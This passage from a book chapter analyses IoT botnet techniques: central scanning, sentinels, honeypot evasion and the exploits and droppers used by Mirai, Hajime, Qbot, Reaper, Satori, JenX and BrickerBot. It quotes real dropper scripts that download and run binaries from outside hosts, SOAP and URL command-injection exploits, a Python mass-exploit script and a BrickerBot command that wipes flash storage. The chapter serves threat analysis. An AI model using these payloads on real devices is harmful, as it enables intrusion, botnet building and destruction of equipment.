finding the central scanning attacks is like finding a needle in the haystack
compared to the obvious trending threat of a distributed scanning botnet.

Central scanning will however directly expose the scanning server if no measures
are taken. Most of the vulnerabilities require TCP connectivity to perform the exploit
and as such spoofing of the attacks is impossible. Tor could be a way to conceal the
origin of scans [16], but some countries with high IoT densities are blocking Tor
completely: China, for example. Another, probably better option is to leverage
already infected bots in the botnet for concealing scans by turning the compromised
devices in proxies or SOCKs servers or leverage iptables or UPnP to create port
forwarding rules and bounce the scans of multiple devices before hitting the target.
Scanning will still be notoriously quiet, and the scanning servers are protected from
being compromised or blacklisted.

3.2.3 Sentinels

BrickerBot used another interesting and very stealthy method of discovering
potential victims. By deploying sensors in the wild, BrickerBot was able to
detect activity from distributed scanning bots. Upon detecting a device trying to

IoT Botnet Traits and Techniques ■ 111



exploit a BrickerBot-owned device, BrickerBot would hack back and destroy the
attacking device—see Figure 3.3. Hence the name “Sentinel.”

Because the sentinels are not performing active scanning, they are very hard to
detect and discover. Their decentralized and autonomous nature makes them void of
any need for C2 infrastructure. The only centralized infrastructure that might be
good to have is a platform for distributing and monitoring the sentinel nodes.
Importantly though, nodes will not depend on that central deployment or monitor-
ing infrastructure to perform their tasks. They are fully autonomous in detecting
their targets and subsequently attacking them.

This design pattern comes with some severe limitations however. Conducting a
coordinated DDoS attack using a botnet requires a central commander, a general
that calls it troops to action and gives them orders who and how to attack. If
a Sentinel-based bot would replicate itself, how would one keep track of the owned
bots? What about devices that have dynamic IPs? After all, these are IoT devices
and most of them reside in consumer networks that have dynamic IPv4 addresses.

IPv6 will provide a solution but until then, for IPv4, the bot needs a call home
capability to make central instances aware of their presence. To keep a network
fully functional, there is a need for some kind of tracking or communication
between the bot members and higher order commanders, either through central
C2 infrastructure or through distributed peer-to-peer networks.

Figure 3.3 Sentinels.
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3.2.4 Avoiding Detection

Central scanning is one of the techniques to limit exposure and decrease the
likelihood of a botnet being detected and compromised. Other evasion techniques
have been observed along the way, mostly with low sophistication and very high
reuse because of the large shared common code bases for IoT malware.

3.2.4.1 Scan Range Filtering

Enhanced IP pseudorandom generators that filter ranges from CIA and FBI
controlled servers as well as popular cloud providers including Amazon, Azure,
Digital Ocean, OVH, etc. The former is obvious why they would do this, the
latter to prevent being detected by security researcher’s honeypots. The cloud
provider subnets do not add much value in terms of finding IoT devices either.

3.2.4.2 IoT Search Engines

Instead of scanning the full internet range and risk being too noisy and caught by
honeypots, a central scanning technique can use targeted scans of IP addresses
obtained from searches through IoT search engines such as Shodan, Censys,
ZoomEye, etc. These search engines continuously scan and scrape the internet to
gather information about open ports, telnet/SSH banners, HTTP header fields, etc.
They index this information in databases, including historical information such as
changes on the IP address. Using convenient APIs, anyone with a free or paying tier
can generate a list of IP addresses matching a particular device type and exposed
service. Shodan even provides a monitoring API that allows real-time and asynchro-
nous notification of newly discovered devices matching the query. By integrating
these APIs in their exploit software, central exploit servers can work very efficient
while producing a minimum of noise that might trip over honeypots, leaving the
noisy scanning and intelligence gathering to the IoT search engines that typically get
white-listed in honeypots and IP reputation feeds.

3.2.4.3 Victim Fingerprinting

Bot binaries are an important asset for botnets to protect and they can go a long
way in assuring they are actually infecting real devices and not being lured into
a trap by a honeypot. An unsophisticated but commonly used technique used by
scanners to identify honeypots is shell command composition and character
escapes. Using the echo command with an octal encoded string, the malware
can identify BusyBox-based systems from their full Linux counterparts. The
BusyBox echo applet correctly interprets the octal values while the Linux native
echo application does not, see below example:
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cd /dev/shm; cat . s || cp /bin/echo . s; (/bin/busybox CRMCR || :)

/bin/busybox echo -e ’\147\141\171\146\147\164’

Fingerprinting is another common technique used to avoid infecting unintended
systems and expose the dropper command sequence or download server location.
Through port scanning, Telnet/SSH banner scraping or HTTP Server header field
scraping the scanning engine can guess the target device type, make, model and
version. Consequently, the bot can adapt the commands it will transmit to load the
malware onto the new victim or it may just decide to disconnect if the newly
discovered potential victim does not match any of its known patterns. Much the
same way, when using HTTP-based exploits the bot can first make an arbitrary
connection to the web server requesting the “/” index page and by interpreting the
“Server” header variable it can decide its course of infection or just to leave the device
alone if the “Server” header does not match any expected patterns. Port scans are the
least effective, but in some cases they provide more information about which services
are exposed and ready to be exploited.

More sophisticated techniques can correlate SSH, Telnet, and HTTP banners,
checking for consistency in responses. The scanner could also reconnect one or more
times to the same victim device and check if the SSH, Telnet, or HTTP banners did
not rotate to emulate a completely different device (a common technique in honey-
pots that simulate multiple devices from a single instance). Another obvious check
can be done using the login brute force: if the credentials work from the first time,
one might be either very lucky or one might be getting tricked, reconnecting and
retrying different credentials will quickly reveal if one is talking with a honeypot or
a real device. How many real devices have more than one default credential pairs?
Especially if the credentials are known to be from different vendors. Of course, some
of these techniques require a certain level of sophistication.

3.3 Exploits and Droppers
Mirai is not the first malware but the one that put IoT on the DDoS threat
landscape. It is incredible how a malware, given a dictionary of 60 default credentials,
was able to compromise hundreds of thousands of IoT devices. Once the malware
got access to a shell command line with a privileged user, issuing commands to
download and execute an executable is child’s play. The same method of compromise
was used by later variants and new botnets but replacing telnet with the more secure
remote access protocol SSH, typically using a Python scripts and the Paramiko
Python module for the SSH implementation.

After the attacks on OVH, Krebs, and DYN, a malicious actor going by the name
of “Best Buy” extended Mirai with a rather simple to execute, but very effective
exploit, which was able to compromise managed CPEs (customer premise equipment
or managed routers) of ISPs. The actor leveraged the exploit against Deutsche
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Telekom (DT), TalkTalk, and Post UK at the end of 2016 [17]. Through a bad
implementation of the CPE WAN Management Protocol (CWMP), named
TR-064, the attacker was able to trigger a Remote Command Execution (RCE)
by populating the router’s “NewNTPServer1” field with a command that down-
loads and executes a malware. The attacks on DT failed but left 900,000
residential homes without internet connection. If the attack had been successful,
the attacker would have been the owner of close to a 1 million device botnet.

From that moment forward, the whole security industry became aware of the
risks and immense potential of IoT for malicious activities. Within the next
months and years, many security researchers would expose countless weaknesses
and vulnerabilities in a diverse range of devices—vulnerabilities that would be
disclosed with proofs-of-concept. Even when care was taken to disclose respon-
sibly, the malicious actors were handed new treasure troves. As discussed earlier,
most consumer devices are very infrequently, if ever, updated. So even when
researchers do responsible disclosure of new vulnerabilities, meaning that they
only expose the exploit and potential proofs-of-concept after the impacted vendor
published a fix, malicious actors are very aware that they have a large enough
a window of opportunity to leverage the exploits.

In some cases, less than 24 h after the security researcher published a vulnerability,
new botnets were observed exploiting that particular vulnerability to compromise
devices. It is a competition out there; many different actors and botnets fighting for
the same, albeit huge, pool of IoT devices. So whenever a botnet can leverage a new
vulnerability the others did not implement yet, it can take over more devices.

It does not always have to be a highly complex or recent vulnerability. Some
vulnerabilities used during botnet campaign in 2017 and 2018 dated from way
back in 2014, basically three to four years old, and they were well-known
vulnerabilities that had fixes in later firmware but still enabling many botnets to
compromise huge numbers of IoT devices. Especially, consumer routers and
modems became an important target. As opposed to some smart or connected
devices located inside the home’s private network, routers and modems are always
connected directly to the public internet and provide a straightforward target.
Some connected devices use the UPnP-IGD protocol to expose themselves
through pinholes in the home gateways, also making them easy victims. In the
two years after Mirai, millions of devices have been compromised by a multitude
of different botnets, and none of this activity required 0days or unknown
vulnerabilities. In fact, only one 0day was ever used in the two years after Mirai
as far as the author knows; some things we will never know of course.

Nearly all discovered botnets perform the actual drop of their malware through
an intermediary download server. Bots prefer to conceal their presence on the
device, so they prefer not to leave any binaries exposed to whoever has access to
the device. Since there are multiple platforms and architectures, there are many
different binaries to host while storage resources are constrained on most IoT
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devices. So it is more convenient to use a separate, central, loading server. The only
exception to this method of operation is Hajime. To create a fully decentralized
peer-to-peer botnet, Hajime uses infected devices that are publicly accessible from
the internet to host its binaries for one or more platforms. When a Hajime bot
discovers a new victim and gets shell access through telnet or any other vulnerability,
the malware will be downloaded using the traditional “wget” method but from
another infected node in the botnet and not from a central server. To be more
resistant against takedowns, decentralized peer-to-peer botnets need to avoid relying
on any centralized services or resources, including DNS. Hence the need for
a decentralized download service that was implemented leveraging the infected
nodes themselves—the code for serving the malware should then be embedded in
the botnet itself, increasing the complexity and footprint of the malware.

3.3.1 Shell Login Brute Forcing

The most unsophisticated, yet lethal method to exploit devices is telnet or SSH
login brute force using a dictionary of default and weak credentials. It was already
discussed on several occasions, but it still is the most common and for some
botnets the only method used to spread the infection. Once the login is
compromised, a malware dropper will get executed on the device’s shell, which
will download the binary and execute it.

Figure 3.4 is an example of one of the Hajime droppers. It is relatively
consistent with the droppers provided by the Mirai loader discussed earlier.

A more sophisticated dropper, also used by Hajime, is illustrated below. This
dropper leverages the “echo” command to generate a download stub and remediate
missing download commands. The stub is very much like the download stub of
Mirai, but in Hajime’s case, the stub is handcoded in machine language with
a different implementation for each of the supported platforms to ensure it is as

Figure 3.4 Hajime Dropper.
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light as it can be. The dropper is generated by the bot that is performing the loading
and the download server’s location is changed dynamically through changing the hex
codes in the correct offsets from the echo commands, much like binary patching:

enable

system

shell

sh

cat /proc/mounts; /bin/busybox FOIVA

cd /dev/shm; cat . s || cp /bin/echo . s; /bin/busybox FOIVA

tftp; wget; /bin/busybox FOIVA

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

/bin/busybox FOIVA

>.s; cp .s .i

echo - ne "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00

\x01\x00\x00\x00\x54\x00\x01\x00\x34\x00\x00\x00\x40\x01\x00\x00\x00\x02\x00\x05\x34

\x00\x20\x00\x01\x00\x28\x00\x04\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x01\x00" >> .s

echo - ne "\x00\x00\x01\x00\xf8\x00\x00\x00\xf8\x00\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00

\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x07\x00\x2d\xe9\x01\x00\xa0\xe3\x0d

\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60\xa0\xe1\x70\x10\x8f\xe2\x10\x20

\xa0\xe3" >> .s

echo - ne "\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0\x8d\xe2

\x4f\x4f\x4d\xe2\x05\x50\x45\xe0\x06\x00\xa0\xe1\x04\x10\xa0\xe1\x4b\x2f\xa0\xe3\x01

\x3c\xa0\xe3\x0f\x00\x2d\xe9\x0a\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x10\xd0

\x8d\xe2" >> .s

echo - ne "\x00\x50\x85\xe0\x00\x00\x50\xe3\x04\x00\x00\xda\x00\x20\xa0\xe1\x01\x00\xa0\xe3

\x04\x10\xa0\xe1\x04\x00\x90\xef\xee\xff\xff\xea\x4f\xdf\x8d\xe2\x00\x00\x40\xe0\x01

\x70\xa0\xe3\x00\x00\x00\xef\x02\x00\x32\x64\x2e\x8b\xcf\x89\x41\x26\x00\x00\x00\x61

\x65\x61" >> .s

echo - ne "\x62\x69\x00\x01\x1c\x00\x00\x00\x05\x43\x6f\x72\x74\x65\x78\x2d\x41\x35\x00\x06

\x0a\x07\x41\x08\x01\x09\x02\x2a\x01\x44\x01\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62

\x00\x2e\x74\x65\x78\x74\x00\x2e\x41\x52\x4d\x2e\x61\x74\x74\x72\x69\x62\x75\x74\x65

\x73\x00" >> .s

echo - ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b

\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x54\x00\x01\x00\x54\x00\x00\x00\xa4\x00

\x00\x00" >> .s

echo - ne "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00

\x03\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x27\x00\x00\x00\x00

\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00

\x00\x00" >> .s

echo - ne "\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x01\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" >> .s

./.s >.i; chmod 777 .i; ./.i; rm .s; exit

A Telnet/SSH dropper can be made with far less sophistication, such as the
one below used by some Qbot variants:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/bins.sh; wget

http://95.215.62.137/bins.sh; chmod + x bins.sh; ./bins.sh; rm -rf bins.sh

In the case of Qbot, the dropper commands are not issued directly by the loader or
bots themselves, but instead downloaded as a script, which in this particular case is
called “bins.sh.” This dropper does not care about detecting the architecture of the
device, it downloads, executes, and removes the binary for every known architecture.
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All but the binary matching the device’s architecture will fail. The net result of all
these operations is the same as in the above examples where platform detection was
used, only does it take slightly more downloads while increasing the risk of being
detected and exposing all the binaries. Still, it is an effective method and can be
executed from the bot itself or through an intermediary download service.

#!/bin/bash

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/ntpd; wget

http://95.215.62.137/ntpd; chmod +x ntpd; ./ ntpd; rm -rf ntpd

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/sshd; wget

http://95.215.62.137/sshd; chmod +x sshd; ./ sshd; rm -rf sshd

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/openssh; wget

http://95.215.62.137/openssh; chmod +x openssh; ./ openssh; rm -rf openssh

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/bash; wget

http://95.215.62.137/bash; chmod +x bash; ./ bash; rm -rf bash

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/tftp; wget

http://95.215.62.137/tftp; chmod +x tftp; ./ tftp; rm -rf tftp

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/wget; wget

http://95.215.62.137/wget; chmod +x wget; ./ wget; rm -rf wget

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/cron; wget

http://95.215.62.137/cron; chmod +x cron; ./ cron; rm -rf cron

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/ftp; wget

http://95.215.62.137/ftp; chmod + x ftp; ./ ftp; rm -rf ftp

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/pftp; wget

http://95.215.62.137/pftp; chmod +x pftp; ./ pftp; rm -rf pftp

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/sh; wget

http://95.215.62.137/sh; chmod +x sh; ./ sh; rm -rf sh

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/’ ’; wget

http://95.215.62.137/’ ’; chmod + x ’ ’; ./’ ’; rm -rf ’ ’

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/apache2; wget

http://95.215.62.137/apache2; chmod +x apache2; ./ apache2; rm -rf apache2

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/telnetd; wget

http://95.215.62.137/telnetd; chmod +x telnetd; ./ telnetd; rm -rf telnetd

apt-get install python python-paramiko -y

yum install python python-paramiko -y

cd /var/tmp

curl -O http://95.215.62.137/scanner.py

wget http://95.215.62.137/scanner.py

chmod +x scanner. py

python scanner.py 10 LUCKY2 1 2 &

python scanner.py 10 LUCKY 1 2 &

python scanner.py 10 BRAZIL 1 2 &

history -c

Remark the extra commands appended to the end of the above malware dropper
example. These are not very common. Most of the time only the malware drop
part is present, but in this particular example the dropper is also attempting to
install the Python Paramiko module and download a Python-based SSH scanner
“scanner.py” from the same server it attempted to download the malware binaries.
The scanner is called with three different arguments to scan a different range of IPs.
At the end of the script, the shell’s command history is cleared to erase any traces.
Because of the nature of the installer commands for the Paramiko module, this
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dropper might be targeting more than just IoT devices. The “apt-get” and
“yum” package manager commands are typically not available in embedded
Linux. Still, this dropper is an excellent illustration of how unsophisticated
these botnets tend to be.

3.3.2 TR-064 RCE Exploit
Only a few months after the Mirai source code was released, a malicious actor going by
the name of “BestBuy” demonstrated for all how effective the botnet could be. In
November 2016, there was a massive attack on the CPE routers from the consumer
segments in several European ISPs. The attack used a single HTTP SOAP request
through port TCP/7547, a commonly used port on WAN devices that support an
older Broadband Forum protocol defined in TR-064 called “LAN side DSL CPE
configuration” [18]. The protocol originates from the days when providers were
looking for a solution to get Customer Premises Equipment (CPE) deployed and
configured without having to send a technician on site. It worked by allowing software
on the LAN to communicate with the router using SOAP messages to configure and
read a limited set of parameters on the CPE. TR-064 was deprecated and replaced by
“TR-064 Issue 2,” which basically recommends the use of UPnP-DM with the CPE
WANManagement Protocol (CWMP) data models. CWMP is defined by a protocol
called “TR-069,” which allows service providers to deploy large amounts of CPE such
as routers, set-top boxes, etc., to remotely configure, manage, monitor, and trouble-
shoot them. The TR-069 protocol uses an Auto-Configuration Server (ACS), which
will never directly issue commands at the CPE but will request the CPE to initiate
a session to its known ACS server. It is always the CPE that initiates the session that is
used to exchange configuration messages between the server and the CPE. The port
TCP/7547 is the suggested port to kick-start a CWMP session from the CPE
through a simple HTTP GET URL. The TR-069 protocol in itself is secure when
implemented correctly. The problem, however, with many CPE (IoT) devices is the
implementation of CWMP that happens to support both TR-069 and the older,
deprecated, TR-064. Both TR-069 connection requests and the general TR-064
service are implemented through the same TCP/7547 port. TR-064, however, was
never meant to run over WAN, and to make things worse, most implementations by
default respond to TR-064 without any authentication.

The implementation confusion and defaults of many CPE allowed arbitrary code
to be executed through shell injection in one of the configuration parameters
called “NewNTPServer1.” This vulnerability was published as early as May 2016
as CVE-2016-10372, almost 5 months before the attacks on Deutsche Telekom,
TalkTalk, and Post Office UK [17].

A simple HTTP POST allows an attacker to execute any shell command
in a privileged user context, without requiring any authentication. Below is
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an example attack as used by “BestBuy” but later observed to be used in
many IoT bots and Mirai variants. The arrow indicates the actual dropper
shell command; this is the only line that needs to be customized to reuse this
exploit.

POST to /UD/act

User-Agent: [Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)]

Soapaction: [urn:dslforum-org:service:Time:1# SetNTPServers]

Content-Type: [text/xml]

Content-Length: [526]

<?xml version="1.0"?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:

encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/">

<SOAP-ENV:Body>

<u:SetNTPServers xmlns: u="urn:dslforum-org:service:Time:1">

<NewNTPServer1>

--> ‘cd / tmp;wget http://l.ocalhost.host/2; chmod 777 2;./2‘

</NewNTPServer1>

<NewNTPServer2> </NewNTPServer2>

<NewNTPServer3> </NewNTPServer3>

<NewNTPServer4> </NewNTPServer4>

<NewNTPServer5> </NewNTPServer5>

</u:SetNTPServers>

</SOAP-ENV: Body>

</SOAP-ENV: Envelope>

3.3.3 Pre-Auth Info Leaks
Plain-text storage of credentials and bad implementations can lead to infor-
mation being leaked from the device, which can be leveraged by attackers to
compromise the device. The exploit is a multistep process that will first use
the info-leak to discover admin credentials and then use these through either
Telnet, SSH, or a web interface to perform authenticated remote shell
commands.

In March 2017, a security researcher [19] disclosed an info leak vulnerability in
an OEM vendor’s modified version of the GoAhead embedded HTTP server.
The software was reused in over 1,250 different camera models. The vulnerability
allows one to dump the contents of the “system.ini” configuration file while
bypassing authentication just by providing empty username and password in the
URI. The admin username and password are stored in plain text in that file—see
Figure 3.5. To make matters worse, some of the camera’s models did not have
provisions to update the firmware.

The GoAhead Info Leak disclosed in March 2017 was used by the Persirai
botnet in May 2017 and by the Reaper botnet in October 2017.
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3.3.4 Unauthenticated Command Injection

The Reaper botnet also leveraged another info leak that was disclosed in Octo-
ber 2016 by a security researcher [20], which affected DVRs of one of the world’s
leading CCTV manufacturers. A DVR (Digital Video Recorder) is a device used to
manage and record video streams from CCTV and IP cameras. The DVR imple-
mentation was found to have an unauthenticated command injection vulnerability
through its web interface. The cgi query action in “Search.cgi” allows an adminis-
trator to perform HTML requests, which use “wget” system command in the back.
However, any parameters passed through the URI without proper sanitization and
verification. Exploiting this issue allows a remote attacker to execute any command
with root privileges and without authentication simply by issuing the HTTP GET
request:

Figure 3.5 GoAhead Info Leak Vulnerability.

IoT Botnet Traits and Techniques ■ 121



/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=

Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%

20http://104.248.34.101/bins/lessie.mips%20-O%20lessie;%20chmod%20777%20lessie;%

20sh%20lessie)&password=admin

The same DVR also contained an authentication bypass caused by the “.cab”
string in the URI, which allows anyone to request usernames and plain-text
stored passwords through a simple request as in Figure 3.6.

3.3.5 Huawei HG532 Router 0day
In November 2017, a zero-day was exploited by the Okiru/Satori botnet. The
0day affected Huawei HG532 Home Gateway devices through its UPnP TR-
064 implementation. As mentioned earlier, the new TR-064 Issue 2 protocol
was intended to be used from within the private network only. In the case of
the HG532, however, the service was found to be exposed to the WAN through
port 37215 (UPnP). Check Point Research [21] discovered the 0day abuse and
disclosed to Huawei discreetly. Huawei quickly provided a firmware update
with a fix.

The exploit, also found in the BrickerBot exploit module, works by a simple
HTTP POST to “/ctrlt/DeviceUpgrade_1” on port 37215 of the victim and
delivering the payload as per usual in the $(cmd) placeholder:

Authorization:Digest username ="dslf-config", realm =

"HuaweiHomeGateway", nonce="886**************e30", uri="/ctrlt/DeviceUpgrade_1",

response="361********19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="24*****69"

<?xml version="1.0"?>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle ="http://

schemas.xmlsoap.org/soap/encoding/">

<s:Body>

<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">

<NewStatusURL>$(cmd)</NewStatusURL>

<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>

</u:Upgrade>

</s:Body>

</s:Envelope>

The $(cmd) placeholder in the above exploit was replaced by the following
dropper command in Satori/Okiru:

/bin/busybox wget -g %d.%d.%.d.%d -l /tmp/rsh -r /okiru.mips; chmod + x /tmp/rsh; /tmp/rsh

In the BrickerBot case the $(cmd) placeholder contained the following shell code:

/bin/busybox cat /dev/urandom >/dev/mtdblock0;/bin/busybox cat /dev/urandom >/ dev/mtdblock3;/

bin/busybox cat /dev/urandom >/ dev/mtdblock1; /bin/busybox cat /dev/urandom >/ dev/

mtdblock2;/bin/busybox cat /dev/urandom >/dev/mtdblock4;/bin/iptables -A OUTPUT -j

DROP
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Soon after the disclosure of the vulnerability, proofs of concept started
appearing on multiple public sites. Devices that were not timely updated would
fall victim. Below is an example of the many proofs of concept that were publicly
released by security researchers. It is clear from the example that it does not take
much skill to copy and integrate the code into one of the many publicly available
Python scanner scripts.

# https://0day.today/exploit/29348

import threading, sys, time, random, socket, re, os, struct, array, requests

from requests.auth import HTTPDigestAuth

Figure 3.6 DVR Authentication Bypass.
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ips = open(sys.argv[1], "r").readlines()

cmd = "" # Your MIPS (SSHD)

rm = "<?xml version =\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/

envelope/\"s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:

Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n

<NewStatusURL>$(" + cmd + ") </NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)

</NewDownloadURL>\n </u:Upgrade>\n</s:Body>\n </s:Envelope>"

class exploit(threading.Thread):

def__init__(self, ip):

threading.Thread.__init__(self)

self.ip = str(ip).rstrip(’\n’)

def run(self):

try:

url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"

requests.post(url, timeout=5, auth=HTTPDigestAuth

(’dslf-config’, ’admin’), data=rm)

print "[SOAP] Attempting to infect" + self.ip

except Exception as e:

pass

for ip in ips:

try:

n = exploit(ip)

n.start()

time.sleep(0.03)

except:

pass

# 0 day. today [2018-12-23] #

By end of January 2018, the JenX botnet did just that—taking the Huawei
HG532 0day exploit and integrating it in their scanner script to exploit devices
and propagate their Mirai-based bot. Full exploit as used by JenX:

<?xml version="1.0" ?>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://

schemas.xmlsoap.org/soap/encoding/">

<s:Body>

<u:Upgrade xmlns: u="urn:schemas-upnp-org:service:WANPPPConnection:1">

<NewStatusURL>$(cd/tmp/ ; rm -rf okiru ; killall okiru ; killall masuta ; killall telnet ;

killall telnet.mips ; killall mips ; killall mirai ; busybox wget

-g 5.39.22.8 -l jennifer -r /jennifer.mips ; chmod +x jennifer ;./jennifer)

</NewStatusURL>

< NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>

</u:Upgrade>

</s:Body>

</s:Envelope>

3.3.6 Combining Vulnerabilities

IoT Reaper, also known as IoTrooper, has an architecture closely resembling that
of Mirai but the bot itself has undergone some serious transformations in terms
of exploits and omitted all of the Mirai’s attack vectors. It also ships with an
integrated Lua execution environment to implement attack scripts, which makes
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it flexible and agile in terms of adding new attack vectors compared to the
hardcoded ones in Mirai. Reaper uses the same distributed scanning and central
loading architecture that made Mirai effective regarding harvesting bots. How-
ever, instead of doing aggressive, asynchronous SYN scans for open Telnet ports,
Reaper performs a more elaborate, conservative TCP SYN scan on a series of
specific ports, one IP at a time. Based on the results of the SYN port scan, the bot
starts a series of nine HTTP-based exploits for each discovered open port. The
nine exploits are all based on previously disclosed IoT vulnerabilities:

1. An unauthenticated RCE that allows dumping of the contents of/var/
passwd based on DLink DIR-600 and DIR-300 vulnerabilities [22]
published February 4, 2013 (see Figure 3.7).

2. CVE-2017–8225, a Pre-Authentication Info Leak allowing access to clear text
credentials. A vulnerability disclosed and published by Pierre Kim on
March 8, 2017 [19]. The exploit as coded in Reaper dumps the system.ini of
the IP cameras and is able to retrieve the admin credentials (see Figure 3.8).

3. Netgear ReadyNAS Surveillance unauthenticated RCE vulnerability as
reported by SecuriTeam [23] on September 27, 2017. Netgear had released
a patch to address the vulnerability at the time [24].

Looking closer at the exploit as executed by Reaper in Figure 3.9, remark how
the command to be executed is “echo nuuo 123456.” While the first two exploits
were gathering information, the latter one is verifying the success of the potential
remote code execution. If the RCE is successful, the findings of the successful

Figure 3.7 Reaper Exploit 1.

IoT Botnet Traits and Techniques ■ 125



exploit are communicated back to the central reporting server that passes it on to
the loader service for further processing and infection.

4. Vacron NVR RCE as published by SecuriTeam [25] on October 8, 2017.
The unauthenticated RCE is used to dump / etc / passwd contents of the
victim (see Figure 3.10).

As per the report by Securiteam, Vacron did not answer repeated contact
attempts by Securiteam, which eventually disclosed the vulnerability. At the time
of Reaper exploiting this, the RCE had no known solution or workaround.

5. Unauthenticated RCE to list user accounts and their clear-text passwords
on D-Link 850L wireless routers. This vulnerability was published as part
of multiple vulnerabilities [26] on Aug 8, 2017 (see Figure 3.11).

Figure 3.8 Reaper Exploit 2.

Figure 3.9 Reaper Exploit 3.
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DLink has released patches to address these vulnerabilities through firmware
1.14B07 BETA.

6. Linksys E1500/E2500 vulnerability caused by missing input validation,
resulting in an injected shell command being executed. Vulnerability
published [27] February 5, 2013.

The URL-decoded POST payload ping ip=; AAA***BBB|||;&ping
size=&ping times=5&traceroute ip= tests the validity of the exploit (see
Figure 3.12).

Figure 3.10 Reaper Exploit 4.

Figure 3.11 Reaper Exploit 5.
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7. Unauthenticated RCE in Netgear DGN DSL modems and routers dating
back as far as May 31, 2013 [28].

The exploit passes “echo dgn 123456” as “cmd” argument in the GET request and
upon execution of the command validates the devices as vulnerable (see Figure 3.13).

8. AVTech IP cameras, DVRs, and NVRs had an unauthenticated informa-
tion leak and authentication bypass, which gives a remote attacker access to
all admin accounts defined on the device. Vulnerability published [29] on
October 11, 2016 (see Figure 3.14).

AVTech was contacted multiple times but without any response; this vulner-
ability was most probably not fixed at time Reaper was exploiting it.

Figure 3.12 Reaper Exploit 6.

Figure 3.13 Reaper Exploit 7.
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9. DVRs running a custom web server with the distinctive HTTP Server
header “JAWS/1.0.” Pentest Partners published an unauthenticated RCE
that Reaper tests by attempting to execute “echo jaws 123456; cat/proc/
cpuinfo.” Upon validation, the exploit is passed on to the central report
server for further exploiting and infection (see Figure 3.15).

3.3.7 Android Debug Bridge
In February 2018, a new botnet emerged that took advantage of android-based
devices that exposed debug capabilities to the internet. Android Debug Bridge is
a remote debugging tool enabling mobile app developers to debug their apps on
physical devices in a convenient way. When enabled, the Android device listens
on the ADB control port TCP/5555 and allows unauthenticated root access from
any adb client. Once connected the adb client receives Unix command shell,
install and reboot capabilities. This vulnerability impacts only Android devices
and most of the infected devices during the ADB.miner campaign [30] were set-
top boxes, video streaming devices, and smart TVs. It is impossible to enable
ADB debugging on a device remotely, consequently, all devices infected by the
malware must have had their TCP/5555 adb interface open before infection.

Figure 3.14 Reaper Exploit 8.

Figure 3.15 Reaper Exploit 9.
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The most plausible explanation for the ADB interface to be enabled on a device
is the owner enabling it for sideloading Android applications. Sideloading is used
when installing Android applications on unsupported platforms or installing open-
source Android applications that are not published in the official app stores of the
device manufacturer. One widespread application for Android set-top boxes and
video streaming devices is the open source Home Theater Software “Kodi.” The
Kodi wiki contains a how-to article on installing Kodi on Amazon Fire TV [31,32]
with step-by-step instructions on how to enable “ADB debugging” and “Apps from
